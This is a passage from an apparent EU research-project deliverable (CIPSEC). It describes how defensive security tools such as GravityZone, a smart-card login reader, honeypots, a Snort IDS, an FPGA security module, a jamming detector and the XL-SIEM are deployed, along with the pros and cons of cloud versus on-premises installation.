   - GravityZone is delivered as a VA, secured container, easy to deploy, maintained by Bitdefender on live update.
   - GravityZone architecture is based on a modular server role model, highly customizable and able to accommodate complex enterprise environments. The architecture can easily be scaled and configured with multiple management communication points assuring management services delivery for multiple network zones: Internal, DMZ, External. GravityZone contains an Endpoint Security Relay component that can be easily used to provide management services inside isolated network segments, without punching holes into the perimeter security.
   - GravityZone is tightly integrated with AD, vCenter Server, XenServer and Nutanix PRISM which simplifies the security enforcement point configuration. Through the object replication and constant synchronization, the administrator can simply create, modify and distribute configuration policies on specific network inventory objects: AD OUs, vCenter datacenters, clusters, resource pools, vApps. Once assigned on specific containers, the configuration policies will be inherited by all members (existing or new) of the parent container; configuration policies will stick to the target objects allowing the solution to publish policy changes instantly to the endpoint.
   - Through the environment integrations, GravityZone instantly reacts to the infrastructure changes (provisioning, decommissioning of systems, VMs or physical endpoints), it's network inventory will always be presented up-to-date to the user, without requiring regular cleanup routines.

2. Security Service technology
   - Security for Virtualized Environments (SVE) is a centralized scanning technology that de-duplicates and centralizes the antimalware scanning process. The technology works integrated with vShield Endpoint, VMware NSX and/or in a Multi-platform approach. This allows Bitdefender to secure any virtualized environment with the SVE security services without trading off performance.
   - Bitdefender SVE VMware vShield/VMware NSX is integrated with the VMware vShield Endpoint API; while integrated, SVE extends the functionality of the API by leveraging a static software component – Bitdefender Endpoint Security Tools (BEST). BEST provides several advantages: local GUI with pop-up notification capabilities and Windows Action Center integration, Process and Extension based exclusions, Live memory scan tasks, protection for Linux VMs.
SVE Multi-platform reduces the required number of required Security Servers to protect a given environment. In a SVE MP deployment, the security service is provided by 2 components: Security VA and BEST which communicate data over the network. In this deployment scenario, the SVE service is configured to run in a fault tolerant and load balanced mode.

SVE Security Servers (SVAs) are delivered as VAs for both modes, fully deployable from the management component.

Administrators are able to install BEST on their systems by running remote deployment tasks or scripting the install via 3rd party RMMs. BEST can also be baked into VM templates, gold images, parent images, vDisks without creating any conflicts; this way the deployment process is much simplified and compliance is assured with any new provisioning operations; this is also the main reason for which the solution is able to work with non-persistent VDI environments.

The estate-wide management console, GravityZone, is capable of managing endpoint security across virtualized, physical, and mobile endpoints. Each is available as a separate module with the GZ management console. GravityZone itself is delivered as a virtual appliance for easy deployment and maintenance; it is simply imported and activated, requiring no software installation, no additional Windows or database licenses, and the full stack is supported by Bitdefender. Also, multiple GZ virtual appliances can be used in a deployment, each playing a separate, or multiple roles (management console, data store, load balancer) while acting as a single deployment. This means that for all intents and purposes, scalability is all-but infinite, and redundancy is built-in.

3.2.1.2 Secocard

Empelor’s Secocard is an advanced and programmable smart card reader device. In the CIPSEC project using Secocard and an appropriate smart card the user will be able to logon into the operating system. Among other components the device is equipped with a Wi-Fi module allowing Secocard to integrate with the XL-SIEM monitoring system and deliver messages to it in real time. The messages are associated with the status of the card and the login stages. A number of prerequisites are necessary for the successful deployment of Secocard.

- A host with a standard USB 2.0 host port where the device will be connected.
- The host must be connected to the Internet because the setup process especially in Linux may require several packages to be downloaded.
- An available Wi-Fi network preferably with Internet access. Secocard has a real time clock which will be initialized by contacting an NTP server. In addition the device must be able to communicate with the XL-SIEM monitoring system. Finally a remote firmware update mechanism is being implemented in the device. This mechanism will require Internet access.
- An appropriate operating system. The operating systems that have been successfully tested so far are Windows 10 and Ubuntu 16.04 LTS. Debian Linux distributions are currently under test.
- The operator performing the deployment procedure must have administrator rights in both Windows and Linux operating systems.

In order to make the process easier Empelor will be providing a Secocard along with two already programmed smart cards that can be used for the login process. In order to prepare the smart cards Empelor will be requesting certain information (e.g. the login username) from the pilot owners.

Deployment Description

The exact deployment procedure differs depending on the operating system of the host. In particular in Linux distributions the actual deployment procedure is highly optimized and all the necessary deployment steps are handled by a script developed by Empelor. The correct script execution has been verified in Ubuntu 16.04 LTS and is currently modified for Debian Linux distributions. In Windows the operator must perform some manual steps in order to setup the machine for smart card logon. Secocard must also be configured. The Secocard steps are common in both Windows and Linux operating systems.

Deployment in Ubuntu Linux 16.04LTS Distribution

As mentioned above in Ubuntu Linux, Empelor has created a bash script file that takes care of all the details of setup process. In particular the script will download and install the necessary packages, create the appropriate directories and update the necessary files so that access to the operating system is possible through the smart
card. The operator will have to copy the script along with the rest of the necessary files accompanying it and run it. In Figure 9 below, the script is located in the directory bundle on the Desktop and is ready to run. Since the script must be executed with administrator privileges the system has already requested the password in order to start executing commands. During the script execution the user may have to enter a pin on the card and will be prompted accordingly.

![Figure 9: Running the script](image)

![Figure 10: Package installation](image)

Blue colored messages are informational. Green colored messages indicate success while red colored messages indicate an unrecoverable problem/error where the script will exit. In Figure 11 the script has executed successfully. As soon as the script finishes the user must shutdown the host, connect Secocard to the host through the USB cable and physically place the smart card in Secocard. Then the host machine will have to be restarted. If the setup is performed correctly and provided that the smart card is already placed in Secocard the screen that will be displayed on the host will prompt the user to enter the smart card pin as shown in Figure 12.
Figure 11: Successful execution of the script

Figure 12: Login with a Smart card
At this point the user must provide the pin on the reader so that the process can continue as shown below in Figure 13. The pin will be the same as the one that was entered during the script execution process. It must be noted that the pin pad shown on the Secocard reader is different from the standard form. This is deliberate to provide additional security. If the user finds this feature disturbing it can be disabled by going to Settings→Applications→PinPad→Normal Layout.

As soon as the user enters the pin the logon process will complete. It must be noted at this point that the user can change the pin of the card using standard Linux pkcs15 commands.

**Windows 10**

It is assumed that the host where the installation will take place is not part of a domain but a standalone computer. It is also assumed that the host is already protected by a username and a password. It must be noted that in the Windows Operating Systems the smart card pin will not be entered in the reader but in the host's display. As mentioned above the smart cards that will be provided will be already programmed. The process is generic for the windows 10 operating system but the description below is based on Windows 10 home edition.

The first step is the connection of the Secocard to the host. Then the configuration process can continue with the installation of the EIDAuthenticate application. This application can be found online\(^1\). For windows home 10

---

\(^1\) [https://www.mysmartlogon.com/eidauthenticate/](https://www.mysmartlogon.com/eidauthenticate/)
the EIDAuthenticate community edition is the edition that must be installed. The application can be installed in a few seconds. As soon as the application is installed the user must look for the Smart Card Logon options in the System and Security section of the control panel as shown in Figure 14.

![Smart Card Logon options](image14.png)

**Figure 14: Smart Card Logon options**

After clicking on the Smart Card Logon options the user will see the screen shown in Figure 15. In the certificates section there is already a certificate. However, Windows reports that the certificate is not valid for the particular purpose. The reason for this error is the fact that the certificate has not been issued by a certificate authority. To overcome the problem, the user will have to click on the “Don’t check EKU” option and make the certificate trusted. The result is shown in Figure 16 where the certificate is valid. The user must continue with the next step.
Figure 15: Certificate selection
The next step is to enter the password that is used to access the account so that the identity of the user can be verified. A window will appear where the user will be requested to enter the smart card pin. This way the process can be tested. Provided that the test is successful, as shown in Figure 18, the logon through a smart card and a pin will be possible on the next reboot. The screen that will be shown during the next reboot is shown in Figure 19. It must be noted at this point that the user may need to change the pin or unblock the card if many wrong attempts to enter the pin have been made.

---

Smart Card Logon Configuration

**Enter your password**

Select a certificate

![Image of a certificate with the label "panos"]

Please type the password of your account (not the PIN of the smart card) to check your identity. Leave this field blank if your account doesn’t have a password.

Password: 

- **Launch a test after the completion of this wizard**

---

**Figure 17: Password entry**

---

Smart Card Logon Configuration

**Test result**

![Image of a green checkmark]

The test was successful. You can now use your smartcard to logon.

**Figure 18: Successful test**
Secocard Configuration

Apart from the configuration of the host the Secocard must be configured as well. Since Secocard must be able to communicate with the XL-SIEM monitoring system, it is important to set up the WiFi connection and configure the IP address and the port that will be used by the device to connect to the XL-SIEM monitoring system.

As far as the XL-SIEM connection is concerned the user must navigate to the XL-SIEM menu through Settings→Applications→XL-SIEM where the IP and port can be set (Figure 20). In the same screen the user can decide whether the device will be sending messages to the XL-SIEM (Enable Report) or not (Disable Report). Finally, the factory settings button will restore, when pressed, the default settings for the XL-SIEM monitoring system.

Regarding the Wi-Fi connection, the user must navigate to the WiFi menu through Settings→Wireless & networks→Wi-Fi. First of all, the user can select whether the Wi-Fi will be operational or not. In addition, in the Wi-Fi Networks submenu the user can scan for Wi-Fi networks located in the vicinity and select the one where Secocard should connect to. As soon as the user selects the desired network and provided that it is protected, a virtual keyboard will be shown. The user must enter the passphrase to connect to the Wi-Fi.
3.2.1.3 Honeypots

FORTH is bringing into the consortium two solutions. FORTH’s first solution comprises of a cloud-based honeypot implementation which can provide information about potential network attacks. Honeypots monitor the network traffic of the critical infrastructure components (servers, routers, sensors etc.) and produce valuable results for the security administrators. The Architecture of the solution is depicted in Figure 21.

Our Honeypot system is composed by two distinct components. The honeypot VMs and the control panel used for management purposes. Each Honeypot VM combines low and medium-high interaction honeypots, a DDoS honeypot, a SSH Honeypot and a SCADA honeypot for the detection. Such combination enables the system to monitor a larger range of IPs and services and to identify DDoS attacks more efficiently. All attack events are stored to a database and send to the XL-SIEM at the same time. The control panel is the component which has access to the central database where all the attack records are stored. The web based control panel also offers lots of visualization functionalities and an alerting notification mechanism for security analysts or the local administrator.

The Honeypot solution comes in the form of a virtual image and needs to be deployed in the same network of the assets that need to be protected. If the asset is a cloud-based system, then our solution can be deployed in the same network as the cloud-based service. In the case where the asset is in the premises of the infrastructure, the honeypot solution needs to be deployed in the network of the Critical Infrastructure. In both cases the deployment of the solution is as simple as starting a virtual image and configuring its network parameters. The control panel part of the solution can reside in the cloud or, as it is currently deployed, some local server inside the premises of the infrastructure or some other well connected information network.
Differences and Pros / Cons of different installation approaches

As FORTH’s solution is provided in the form of a Virtual Image, the installation method is the same either to an on-cloud or to an in-premises deployment. The network configuration for the network is more straightforward in the case of the in-premises deployment as it is more clear which are the free, neighbouring addresses that can be utilized with the proper network configuration.

Cloud-based Security Tool

Managing many virtual machine instances is a complex procedure achieved by the virtualization software. This vast and complex piece of software is prone to attacks due to vulnerabilities that may exist in its code. A malicious VM can take advantage of these vulnerabilities to attack the other VMs hosted on the same physical machine. FORTH is bringing into the consortium a cloud-based intrusion detection system (IDS) based on Single Root I/O Virtualization technology (SR-IOV). The implementation is based on Snort IDS, which was integrated with Xen hypervisor 9. We also used other free and stable components such as BASE, Apache MySQL and Barnyard2 in order to monitor all inter-and intra-hypervisor traffic and display real-time results via web interface. The architecture of the tool is depicted in Figure 22.
The cloud-based security tool needs to be deployed in the host that runs the hypervisor along with the virtual images of the applications and/or services that we want to protect. Consequently, all the applications and services of the critical infrastructure must be deployed on-top of our solution. After the proper installation of the SR-IOV (Single root Input/output Virtualization) and the deployment of the CI’s services, a NIDS is used to detect network attacks originating from or targeting the services/applications running to the system. In our setup, we use Snort\(^1\) as the basic IDS. The logs from the Snort-IDS can be stored to a local or remote MySQL database for visualization and/or can be sent to the XL-SIEM using the syslog functionality.

### Differences and Pros / Cons of different installation approaches

Currently there is only one installation approach for our cloud-based tool and that is in the host as the VMs that we want to protect with the use of Xen-9 hypervisor and Snort as IDS. Also, there are a number of tools that help us visualize the results that need to be installed as well as mentioned above.

#### 3.2.1.4 Hardware Security Module (FPGA Device)

The UoP Hardware Security Module is implemented on a Zedboard development board using the Xilinx Zynq®-7000 All Programmable SoC. The board contains all the necessary interfaces and supporting functions to enable a wide range of applications. The expandability features of the board make it ideal for rapid prototyping and proof-of-concept development. The current HSM version supports operation and communication with the Host machine through the use of USB cable.

 Apart from the usual cables and power supply provided with the board, an SD Card will also be provided for updating the HSM hardware. This SD Card will contain a BOOT.bin file which is responsible for correctly

---

\(^1\) https://www.snort.org/
booting the board and starting the HSM Console. When an updated version of the HSM program is available, updating the system can be easily done with a simple replacing (drag and drop) of the old file with the new one on the SD Card. This is one of the many boot options available on the HSM Zedboard, and for the HSM image to be booted correctly from the SD Card make sure the Jumpers JP7-JP11 are configured as shown in Figure 23 before powering on the device.

Figure 23: SD Card Boot Jumper Configuration

It is necessary to power on the device while having connected the power supply and a micro-USB to USB cable with the Host machine). This is necessary so that we can identify the correct Serial Port the HSM will use to communicate with the Host machine. Afterwards, we must configure the appropriate serial settings so that the communication is successful.

The current Terminal settings for the Serial communication are as follows:

- Baud Rate: 115200
- Data Bits: 8
- Stop Bits: 1
- Parity: None
- Flow Control: None

Finally, we power off the device, insert the SD Card and power on the device again.

When the DONE LED (blue) is ON, indicating that the device has successfully booted, the HSM Console started correctly and it can be used in administration or user mode.

There are three modes the HSM can be operated: **manufacturing, administrator and user**. After logging in, the HSM initializes in administrator or user mode based on the authorization level of the specific user. The administrator has access to commands not available for a regular user. The HSM is in manufacturing mode before initialization with an administrator and hosts.

**Note that the HSM, when deployed in action, it must contain at least one valid administrator Host entry data (Public keys, Host ID, Host password).**

In order to access the functionality of the HSM hardware board and the SoC that lies there a software component has been designed. The software tool is designed for Linux OS based Host machines and is currently realized for 32 bit and 64 bit x86 Linux platforms.

The tool is named **sc** and is typically executed in any Linux terminal console.

The tool can be operated in two modes:

- **HSM Console mode**: In this mode, when the software component is executed, a terminal console (HSM Console) is initiated with the HSM board. Then HSM commands can be directly given to the HSM through the console.

- **OS mode**: In this mode, the HSM console commands are given as arguments when the sc software is executed. In this mode, file data can be transmitted to the HSM using the %f parameter

The HSM Host Software component does not need installation in order to be executed as long as it can have administrator writes (eg. using sudo linux command).

It can be also installed on the Linux OS as a terminal command using the script in the file **configure**.
This can be done by executing in Linux terminal, in the folder where the software component is stored the following instruction: `./configure`.

The full HSM command set and Host software component functionality can be viewed in the HSM manual. The HSM functionality is described in D2.2.

3.2.1.5 DosSensing (Jamming detector)

Deployment of the DosSensing solution involves four steps:

- Jammer detector (sensor) physical installation/configuration
- Monitoring software installation
- Solution verification
- Calibration.

The jammer detector physical installation involves a pre-configuration of the sensor, including the URL of the machine that will run the Monitoring Software. A hardware verification is then performed, making sure that all the material for installation is available (sensor, cables, etc) on site, as the sensor needs to be connected to the network via Ethernet. The following step is to attach to a wall in a corner of a room, as high as possible, in order to protect the room. Ideally, if a specific device needs to be protected (another wireless sensor or a router, etc), both devices should be installed in physical proximity.

Once this is performed, the Monitoring software has to be installed. It runs on Docker containers, which facilitates its deployment either on premises or in the cloud. Both options are possible as long as the machine running the software supports Docker. We normally use a cloud deployment, which also needs to be configured to support the reception of data coming from the sensors that will be deployed on site. This software refines the sensor detection information and generates the calls to add the corresponding syslog entries (analyzed by XL-SIEM) for each event.

The sensor then has to be turned on and verification performed in such a way that:

1) Detection information is being received by the Monitoring software; and
2) The sensor is working.

The sensor creates a TCP connection on port 5555 to the Monitoring server IP address, so the network must not block the corresponding port and IP address for the sensor connections. Once the sensor is on, the Monitoring software visualization interface must be open in order to check the correct link between sensor and server. A jammer can then be used in order to verify that the detection works.

Finally, once the verification is done, we must monitor the detection for a few hours in order to determine if the sensor is correctly calibrated. If we experience several false positives, we may need to calibrate the sensor by re-configuring its internal parameters.

**Differences and Pros / Cons of different installation approaches**

The Jammer detector sensor (hardware) has to be installed on site, in close proximity to the devices that need to be protected.

The Monitoring software can be installed either on premise or on the cloud. The former, allows all the detection information to be stored locally and does not depend on Internet connection availability. This would be more suitable for critical infrastructure deployments but more complex to run and maintain. In contrast, the latter is easier to implement and requires no hardware monitor or maintenance, as a cloud provider takes care of that aspects. In this case, the quality of service and availability can be ensured by the cloud provider, which makes it simpler to run.
3.2.2 Detection Layer

3.2.2.1 XL-SIEM

As already mentioned in other WP2 deliverables D2.1 [M12], D2.2 [M18], XL-SIEM provided by ATOS has two main components: the XL-SIEM Agent, also named “CyberAgent” and the monitoring and correlation engine, which is usually quoted as “XL-SIEM Server” or simply “XL-SIEM”. The internal architecture of each of these components has been described in deliverable D2.5 [M24], since it is one of the core components that make up CIPSEC’s Reference Architecture.

The following figure (Figure 24) summarizes XL-SIEM architecture and tools that make up its deployment.

![XL-SIEM Blueprint](image)

**Figure 24: XL-SIEM Composition**

**XL-SIEM Resource Layer Deployment**

The first step to be defined is the set of sensors to be deployed. In the previous figure (Figure 24), for Client 1, all the security tools contemplated for the CIPSEC framework appear, but due to the needs and restrictions of each infrastructure, this configuration may vary; take as example of this Client N breakdown. As described in the “CIPSEC Extension Methodology” in WP2 deliverable D2.5 [M24], a high part of the potential of the XL-SIEM Agent relies on its ability to be adapted and expanded. New events can be added to the platform from new types of sensors at any time. A main technical compliance requirement is that the new tool should generate logs data. Then, with a small ad-hoc development, a new plugin would be created for the CyberAgent to process and normalize logs’ raw information received from the sensors. The deployment of the security sensors is always done within the perimeter of the CI OT systems to be monitored, being able to monitor anomalies in both the OT devices and the security solutions deployed. The delivery of deployment detail of each sensor corresponds to each solution provider. A NIDS (Network Intrusion Detection System) is also provided by ATOS as a security sensor and it is distributed together with the XL-SIEM Agent in a bundle.

XL-SIEM Agent component can be either deployed on premises or be used as SaaS (Software as a Service). Due to its lightness, the scarce resources it consumes in the bare-metal, its deployment is recommended.
directly in the customer’s critical infrastructure. To this end, ATOS is providing CIPSEC Pilots with an image of a Virtual Machine that includes both the CyberAgent and a NIDS. The VM (Virtual Machine) image is compatible with most of the virtualization software used nowadays (VMWare, VirtualBox, etc.). CyberAgent will be responsible for data collection from the client's OT network where different sensors are distributed around its infrastructure.

Some other details about the VM provided by ATOS:

- Minimum requirements: 8 GB RAM, 50GB HardDisk, Intel i5 CPU.
- Port TCP 41000 must be opened on client Firewall to forward events from XL-SIEM Agent to XL-SIEM Server.
- Port TCP/UDP 514 should be available in order for XL-SIEM Agent to receive logs from several collectors using this service.
- End-user must ensure NIDS receives all desired network traffic to monitor. Port mirroring configuration could be necessary.
- It is highly recommended a SSH connection to admin XL-SIEM Agent remotely
- VM is usually deployed by IT staff

Previous approach (Figure 25) allows ATOS to build its own infrastructure through different virtualized components which is easy to exchange with the Pilots, who have full control over the rest of the tools installed in their OT platform. It is convenient to highlight the adaptability, since the CI organization can modify the characteristics according to their needs; the ease of administration and updating, since ATOS as administrator of the Agent can have remote access (SSH / VPN) to the platform without the need to travel; and the speed in the distribution of new plugins, because with this infrastructure the environment will be prepared for this purpose, and the tests will be carried out more quickly.
XL-SIEM Provider Layer

ATOS also enables XL-SIEM Server services to be offered as SaaS to the CI organization that hires its service. The advantage it offers is that the required software is distributed and hosted on ATOS’ side, so the CI organization does not need to install it at any time and integrate it into their OT systems; and everything related to it, data, session, are stored by ATOS. All services supported by the XL-SIEM are managed and maintained by ATOS, who become responsible for the operational load and the security of the data (backup, firewall, accessibility). Optionally, it is also possible to include the CyberAgent in the same installation package, providing a totally integrated product, where the client should only worry about deploying the sensors he wants in his infrastructure and make sure that the events are sent to this external CyberAgent.

The great advantage offered by using this approach is that ATOS can reach any market segment with this type of distribution, be it a large corporation or a small / medium company.

In addition, this deployment model has the following advantages:

• **All the required XL-SIEM software is in one place.** It prevents the client from having to install and maintain the programs that make up the XL-SIEM. It also prevents the end user from loading the program updates or upgrades. The only programs CI need to have installed in their infrastructure are the sensors that collect the data.

• **Optimization of software and hardware resources consumption.** Many users share the same program, without having to buy an individual copy for each of them.

• **Less technical maintenance.** Without installed programs or complex network configurations to configure and maintain, users have fewer associated problems. ATOS is responsible for the technical maintenance of its own servers. The user does not need a deep technical knowledge about the technologies that make up the XL-SIEM.

• **Scalability.** XL-SIEM is scalable as it can grow to meet the most demanding needs. This is crucial especially for large companies. With the Apache Zookeeper technology and Apache Storm provided by the XL-SIEM, scalability is guaranteed without having to invest more than necessary in anticipation of increased needs. If a user needs more or less processing or storage capacity, it can be facilitated almost in real time. That optimizes resources at all times.

Unfortunately, nowadays, as it happens with hundreds of on-line services we interact with, its biggest drawback is their dependence on connectivity. Everything depends on the Internet connection working. If not, the CyberAgent will not be able to communicate with the XL-SIEM server and the client will not be able to access the dashboard of the XL-SIEM nor the data.

Additionally, other possibility is the deployment of the XL-SIEM directly at the client's facilities or within a private cloud deployed on CI. It would be the configuration of a fully virtualized client-dependent data center with self-service and automation. This offers a better security of the deployed resources, although the own management is more complex than in the use of external cloud.

In that case, XL-SIEM is provided as a self-contained Virtual Machine image with operating system based on Debian, the Apache Storm already installed with all the required dependencies (Apache Zookeeper, ZeroMQ), the XL-SIEM topology deployed and the dashboard.

It requires an initial investment in hardware to deploy it, as well as having good IT equipment.

The criticality of deploying XL-SIEM on client’s premises will entail a higher investment in hardware, as well as the need for a good synchronized IT/OT team if the organization does not want to experience service outages.

XL-SIEM Multi-Tenant configuration

Using the XL-SIEM as a shared resource (SaaS) does not imply that the correlation processes of the users of that "cloud" are being executed together by the same correlator in the same topology or that the data is accessible without distinction. This challenge has been faced during the project introducing multi-tenant architecture within XL-SIEM.

The Multi-Tenant architectures refer to a principle in the software architecture of the XL-SIEM where a single instance of the software runs on a server and serves multiple clients (the pilots). This type of architecture is called multi-tenant or multi-owner, in which a single resource operates multiple users who are “owners”, so to speak, of it. Multi-tenant (multi-proprietary) architectures are increasingly used among SaaS (Software as a
Service) providers. In a multi-tenant environment, all XL-SIEM users consume the service from the same technological platform, including all the technology software components.

XL-SIEM Multi-Tenant contrasts with a XL-SIEM multi-instance architecture in which they are independent instances of software (or hardware systems) that they establish for the organization of different clients. In this case, CIPSEC pilots will access the same instance of the XL-SIEM thanks to the multi-tenant architecture. The XL-SIEM has been designed to filter Pilots’ data and it has been configured so that each client works with their own correlation process. This has been possible thanks to the filtering policies feature that can be applied in the XL-SIEM configuration (see Figure 26).

In the following there are some considerations addressed by ATOS when designing and building the multi-tenant system in the XL-SIEM:

- **Development time** – This model requires more development and configuration time compared to a standard architecture XL-SIEM solution.

- **Hardware costs** - This architecture is somewhat more expensive, since the hardware to be virtualized grows proportionally to the number of users that use XL-SIEM.

- **Improved Security** - Due to the fact that multiple clients share the same resources, an additional development effort has been made in the field of security, to guarantee that customers cannot access the data of other clients, even in case of unexpected errors or attacks.

- **Profile requirements** - Each client has got own events and alarms configuration, making it easier to customize.

- **Number of clients** - The number of simultaneous clients is finite, given that the consumption of resources increases as the necessary instances of the topology increase to correlate the data individually.

**Differences and Pros / Cons of different installation approaches**
When it is time of decision making and choose what of the two types of XL-SIEM installation described before is better to perform, CI should build its XL-SIEM deployment project 'by the foundations'. Knowing the project thoroughly and having a clear roadmap for future steps, CIO / CISO should go for higher or lower investments in a type of deployment on cloud or on premises. From ATOS we always advise the need to be clear about the idea in order to choose one or the other. On-premise deployment involves a higher level of criticality, and therefore the investment should be higher.

For XL-SIEM deployment in CIPSEC pilots, Pilots and ATOS have opted for the deployment showed previously in Figure 26, since this model has many virtues, such as access, distribution and management of the software itself through Internet, which gives us a much greater availability and readiness.

Another interesting aspect is that the use of the XL-SIEM is carried out in a centralized server, instead of being hosted on the client's own sites, with which access to it is done through the Web, without these having to expose to the outside any internal service.

It is also interesting to note that events and alarms are stored on ATOS' cloud environment, which means that the Pilot does not require large storage capacities, such as working with large volumes of information (logs, etc.). Likewise, this also guarantees that Pilots will always have backup copies of them, without the Pilots having to worry about it.

This approach has implicitly decreased the initial investment of the Pilots, which entails a lower risk, by being able to use the XL-SIEM software without having to make a large initial investment in machines and software for the optimal operation of the application. This is an important benefit for Pilot owners.

Likewise, this model has the strength that all the updates and new functionalities that are developed in the XL-SIEM throughout the CIPSEC project can be addressed immediately, without the need to wait for the new versions to be available, or the need to install them in the pilots, not to mention the fact that no IT personnel dedicated to this task will be required. All updates and improvements around XL-SIEM will be available immediately.

This way the Pilot focuses its efforts on the configuration of its pilot facilities, to the extent of not devoting efforts to the installation and configuration of the XL-SIEM server. However, it will always require attention from the IT / OT department to test connection between CyberAgent and XL-SIEM Server but to a much lesser extent.

3.2.3 Data Processing Layer

3.2.3.1 Data Anonymization tool

As mentioned in different deliverables such as D2.1, D2.2 and D2.3, cyber threat information is any information that can help an organization identify, assess, monitor, and respond to cyber threats. Organizations that share cyber threat information can improve their own security postures as well as those of other organizations. However, from a privacy perspective, one of the key challenges with threat information sharing is the potential for disclosure of PII (Personally Identifiable Information). Due to that, UPC provides a tool that is able to anonymize cybersecurity data before being shared by third parties, as shown in Figure 27.

In general terms, the tool will receive as an input an unprotected cybersecurity data in JSON file form, generated by the XL-SIEM tool that is developed by ATOS. This unprotected database consists of events/logs of XL-SIEM tool as well as the rest of the tools in CIPSEC project. After that, the database will pass through an object processing block that analyses all events, decides which sensitive information should or should not be anonymized, and finally produces an anonymized cybersecurity data in JSON file form too that could be consulted/shared by third parties such as governmental and non-governmental organizations, federal agencies, computer security incident response teams (CSIRTs), system and network administrators, cybersecurity specialists, privacy officers, technical support staff, chief information security officers (CISOs), chief information officers (CIOs), computer security program managers, and others who are key stakeholders in cyber threat information sharing activities. Anonymization methods that the data privacy tool can apply, upon user's requirements, are suppression, generalization and pseudonymization.

Additionally, in deliverable D2.5, a detailed description of the internal architecture of data privacy tool is given. Regarding data privacy tool deployment, basically it consists of an executable module (JAR file) that will be deployed on premises.
3.2.3.2 Forensics Visualization Tool

**AEGIS CIPI agents**

The CI hosts to be monitored, should have AEGIS CIPI agents installed on them (if applicable according to the CIPIs to be monitored). These include Nagios plugins and NRPE (Nagios Remote Plugin Executor) which should be installed to the CI hosts and allow the AEGIS_VM to execute the plugins remotely. The CI hosts must allow communication from the AEGIS_VM (IP set in configuration file) through port 5666.

Deployed agents need to have connection with the Forensics Service VM (NRPE port 5666) so as to send results from the executed plugins to the AEGIS_VM.

**AEGIS middleware**

A pre-configured AEGIS_VM with the AEGIS Forensics middleware includes the needed software to collect data from CIPI agents. The list of IPs of the monitored CI hosts must be known to the VM. Moreover, the VM must be able to communicate with the monitored CI hosts via port 5666.

A connection to the local network is also required so as to monitor network flows. The AEGIS_VM can either receive the network flows directly from the network’s switch or it can probe network flows to its netflow collector via a probing utility which comes together with the installation package (the preconfigured VM). For the first case, the network switch should send the netflows to the AEGIS_VM netflow collector which listens to port 9995.

Within the CIPSEC solution, the AEGIS_VM must be aware of the IP of the XL-SIEM installation. The AEGIS_VM must be able to send log files to XL-SIEM via TCP/UDP port 514. It must also be able to communicate with the database of XL-SIEM so as to retrieve event and alert information which will be in turn served to the AEGIS AVT for visualisation.

The AEGIS_VM needs to be able to receive HTTP requests (port 80) in order to communicate with the AVT. These HTTP requests implement the RESTful API exposed by the Forensics middleware. The communication can take place via two options. The first one is to have the AVT deployed in the cloud and use the AEGIS REST API to communicate with the middleware in AEGIS_VM. The second one is to have the AVT deployed in the AEGIS_VM.
Finally, access credentials to the AEGIS_VM are required so as to be able to make the configurations and management of the tools remotely. The AEGIS_VM can be instantiated in the common virtualisation environments like e.g. Virtualbox or VMWare, since it can be provided in .vdi or .ovf format.

**Differences and Pros / Cons of different installation approaches**

The main installation decision that could have an impact on the forensics visualisation tool is where the AVT will be installed. As mentioned above, cloud or local installations are the two possible options. The major pros/cons of each are listed below:

**AVT Cloud Deployment**

**Pros:**
- Easy integration to bigger solutions, like the CIPSEC framework.
- Access from everywhere through a simple Internet connection.

**Cons:**
- Possible unavailability of the tool in case of local network breakdown.
- Time Latency introduced due to data communication via internet.

**AVT Local Deployment**

**Pros:**
- Fast operation of the system due to local network connection
- Always running Tool which can help investigators in cases of network breakdown
- Increased access control – only users of the local network can access and view the AVT

**Cons:**
- Remote access is hard, not very easy to easily check the current status remotely
- Integration to bigger solutions like the CIPSEC framework could be cumbersome

### 3.2.4 Presentation Layer

#### 3.2.4.1 CIPSEC Unified Dashboard

We divide the dashboard deployment into 3 steps:

1. **First, we must know either the domain or IP where the dashboard and the OAuth2¹ server will be deployed, and then acquire an SSL certificate for that domain in order to use HTTPS connections. Note that the dashboard and the OAuth2 server may be in different domains, what certainly would require different certificates.**

2. **Once we have the certificates the OAuth2 server can be deployed. The server requires a database to store the users and to that end, we propose to use a MongoDB (although any other database that supports NodeJS could be used). To deploy the server, we first need a NodeJS² server machine, and then, we install the appropriate certificates on that NodeJS server and start the OAuth2 server as a NodeJS app, with the provided script. It is worth emphasizing that each tool must know the OAuth2 server in order to verify the token.**

---

¹ [https://en.wikipedia.org/wiki/OAuth#OAuth_2.0](https://en.wikipedia.org/wiki/OAuth#OAuth_2.0)
² [https://nodejs.org/en/](https://nodejs.org/en/)
3. Finally, once the OAuth2 server is deployed and successfully working the dashboard is deployed as follows:
   a. First, we compile the dashboard app. To that end, we must set the OAuth2 Server URL, as deployed in point 2, into the OAuth2 client code in the dashboard. We also need to set the user and password of the OAuth2 server in the OAuth2 client accordingly, to support mutual authentication.
   b. Once compiled, in order to deploy the dashboard, we need again a NodeJS server machine. To that end, we use the provided script to start the dashboard as a NodeJS app.

The dashboard can be deployed in two different environments:

- Cloud: In order to deploy the dashboard at cloud we must first follow the steps explained above, and additionally, we must create the different users on the database specifying the pilot the new user belongs to, with the help of the OAuth2 Scopes. Since we are using a centralized OAuth2 server the proposed strategy allows the tools to be configured in the first deployment with no need for further configuration should new pilots are added.
- Custom infrastructure installation: In order to deploy the dashboard in a custom infrastructure, we must first follow the steps above and additionally create the users for that particular infrastructure on the database. In this case since we consider a decentralized approach for the OAuth2 servers, whenever a custom infrastructure is deployed, the tools should be updated in the new servers as well.

**Differences and Pros / Cons of different installation approaches**

Certainly, the two envisioned environments may drive distinct pros and cons as described next:

Cloud: In cloud we propose a centralized OAuth2 server and a centralized user database driving two key benefits, the configuration for each tool is much easier and configuration is required to be done only once. However, this centralization may lower the security level of the users, since the dashboard at will be a unique point of access for all users.

Custom infrastructure installation: In this case, we have higher security since each infrastructure owns its own database of users with high control over it. Nevertheless, a reconfiguration of each tool would be required every time a new OAuth2 server (in new pilots) is to be deployed, as explained in the deployment section. Indeed, in this environment, the dashboard will be a point of access only for the infrastructure (pilot) users.

### 3.2.5 Others

#### 3.2.5.1 Training Platform

**Deployment Description and steps**

UOP Training Platform is a new separate installation of the FORGEBox system. The FORGEBox system is an eLearning platform which allows users perform online interactive courses and also gives them the opportunity to create and upload their own. With FORGEBox end users can complete a training course through the web browser of their choice, using their Personal Computer (PC) or mobile device. Users are not required to have any kind of special hardware or software and the only requirement is to have their device (PC or mobile device) connected to the internet.

The new installation (UOP Training Platform) is focused only on cybersecurity courses and is currently deployed in University of Patras' private cloud. It will host all CIPSEC training courses and also external courses related to cybersecurity from other projects and organizations. Its architecture and components are depicted in the following figure (Figure 28).
